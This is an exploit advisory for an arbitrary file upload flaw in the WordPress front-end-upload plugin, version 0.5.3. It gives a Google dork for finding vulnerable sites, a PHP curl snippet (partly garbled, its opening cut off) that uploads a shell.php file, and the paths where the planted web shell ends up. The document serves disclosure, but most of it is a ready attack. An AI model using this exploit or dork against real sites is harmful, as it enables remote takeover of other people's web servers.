# Exploit Title: Wordpress front-end-upload 0.5.3 Arbitrary File Upload # Google Dork: inurl:wp-content/plugins/front-end-upload/ # Date: 31/05/2012 # Exploit Author: Adrien Thierry # Vendor Homepage: http://mondaybynoon.com/20120102/announcing-front-end-upload-wordpress-plugin/ # Software Link: http://downloads.wordpress.org/plugin/front-end-upload.0.5.3.zip # Version: 0.5.3 *** FRONT-END-UPLOAD PRO is probably vulnerable *** page upload.php is vulnerable to Remote File Upload. Code : "@$u",'name'=>"shell.php")); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); $e = curl_exec($c); curl_close($c); echo $e; ?> If plugin isn't active, shell could be found at : http://site.com/wp-content/plugins/front-end-upload/FEU_DESTINATION_DIR/shell.php else http://site.com/wp-content/uploads/iti_feu_uploads/shell.php #########################################################################################